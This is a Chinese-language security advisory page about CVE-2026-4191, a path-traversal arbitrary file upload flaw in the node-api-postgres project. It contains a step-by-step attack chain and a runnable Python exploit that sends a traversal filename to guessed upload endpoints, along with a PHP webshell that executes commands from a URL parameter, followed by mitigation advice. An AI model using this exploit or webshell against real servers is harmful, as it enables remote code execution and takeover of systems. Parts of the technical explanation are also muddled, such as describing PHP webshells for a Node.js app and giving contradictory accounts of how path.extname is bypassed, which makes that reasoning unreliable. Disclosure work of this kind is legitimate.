IPBUF安全漏洞报告
English
CVE-2026-4191 CVSS 7.3 高危

CVE-2026-4191 JawherKl node-api-postgres路径遍历导致任意文件上传漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-4191
漏洞类型
任意文件上传
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
JawherKl node-api-postgres

相关标签

任意文件上传路径遍历CVE-2026-4191node-api-postgresJawherKl高危漏洞远程代码执行Profile Picture Handler无认证利用

漏洞概述

CVE-2026-4191是存在于JawherKl node-api-postgres项目中的一项高危安全漏洞,该漏洞影响版本至2.5。该漏洞存在于用户头像处理模块(Profile Picture Handler)的index.js文件中,具体问题出在对path.extname函数的不当使用上。攻击者可以利用此漏洞绕过文件上传限制,通过路径遍历等技术手段上传任意类型的文件到服务器,包括恶意脚本文件、可执行文件等。由于该漏洞允许攻击者上传任意文件,攻击者可能借此在服务器上执行任意代码,从而完全控制受影响的系统。此漏洞的CVSS评分为7.3,属于高危级别,攻击复杂度低,无需认证和用户交互即可实现远程攻击。漏洞发现者已公开发布了相关利用代码,厂商在收到安全通知后未作出任何回应,因此建议用户尽快采取防护措施。

技术细节

该漏洞的核心问题在于文件上传处理逻辑中对文件扩展名的验证不足。在Profile Picture Handler的index.js文件中,代码使用path.extname函数来获取上传文件的扩展名,但该函数仅返回文件名的扩展名部分,无法正确处理包含路径遍历序列的文件名(如../evil.js)。攻击者可以通过构造特殊的文件名(如../../../etc/passwd或avatar.jpg/.php)来绕过基于扩展名的过滤机制。具体攻击流程如下:首先攻击者构造包含路径遍历字符的文件名;然后利用path.extname提取的扩展名可能仍然是合法的图片扩展名(如.jpg);但实际文件内容可以是任意恶意代码;当服务器将文件保存到可执行目录时,恶意代码即可被执行。此外,由于缺乏对上传文件内容的验证,攻击者还可以上传包含webshell的PHP、ASP、JSP等脚本文件,进而获得服务器的命令执行权限。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标系统使用JawherKl node-api-postgres,通过指纹识别确认版本<=2.5
STEP 2
步骤2:构造恶意文件
攻击者准备包含恶意代码的文件,如PHP webshell、ASP脚本或可执行文件
STEP 3
步骤3:构造路径遍历文件名
利用path.extname函数的局限性,构造包含路径遍历序列的文件名(如../../../shell.php),使扩展名验证失效
STEP 4
步骤4:发送上传请求
向服务器的用户头像上传接口发送POST请求,包含构造的恶意文件名和文件内容
STEP 5
步骤5:绕过安全检测
path.extname可能只提取出.php扩展名,但由于路径遍历,实际保存路径被改变到web可访问目录
STEP 6
步骤6:触发恶意代码
攻击者访问上传的恶意文件URL,服务器解析并执行其中的恶意代码
STEP 7
步骤7:获得服务器权限
通过webshell或反弹shell,攻击者获得服务器的命令执行权限,实现远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-4191 PoC - Unrestricted File Upload in JawherKl node-api-postgres # Target: JawherKl node-api-postgres <= 2.5 # Vulnerability: Profile Picture Handler path.extname bypass def exploit(target_url, file_path, filename): """ Exploit for CVE-2026-4191 Upload malicious file using path traversal in filename Args: target_url: Target API endpoint for profile picture upload file_path: Path to malicious file to upload filename: Filename with path traversal payload (e.g., '../../../shell.php') """ try: with open(file_path, 'rb') as f: file_content = f.read() files = { 'file': (filename, file_content, 'application/octet-stream') } # Try common upload endpoints endpoints = [ '/api/users/avatar', '/api/profile/picture', '/api/upload/avatar', '/upload', '/api/upload' ] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"[*] Trying upload endpoint: {url}") try: response = requests.post(url, files=files, timeout=10) if response.status_code == 200: print(f"[+] File upload successful via {url}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Upload failed with status {response.status_code}") except requests.RequestException as e: print(f"[-] Request failed: {e}") return False except FileNotFoundError: print(f"[-] File not found: {file_path}") return False def create_webshell(filepath): """ Generate PHP webshell for testing """ webshell = b'<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' with open(filepath, 'wb') as f: f.write(webshell) print(f"[+] Created webshell: {filepath}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2026-4191.py <target_url> <malicious_file>") print("Example: python cve-2026-4191.py http://target.com evil.jpg") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] # Filename with path traversal to bypass extension check malicious_filename = "../../../var/www/html/uploads/shell.php" print("[*] CVE-2026-4191 Exploit") print("[*] Target: " + target) print("[*] Malicious file: " + file_path) print("[*] Filename payload: " + malicious_filename) exploit(target, file_path, malicious_filename)

影响范围

JawherKl node-api-postgres <= 2.5

防御指南

临时缓解措施
在官方修复发布之前,建议采取以下临时缓解措施:1)禁用文件上传功能或限制为仅允许可信用户使用;2)配置Web服务器阻止访问上传目录中的可执行文件类型;3)使用WAF(Web应用防火墙)规则拦截包含路径遍历序列的上传请求;4)限制上传文件的存储位置,确保无法覆盖系统关键文件;5)实施严格的访问控制,限制上传接口的网络访问范围;6)定期监控服务器文件系统变化,及时发现异常文件创建行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表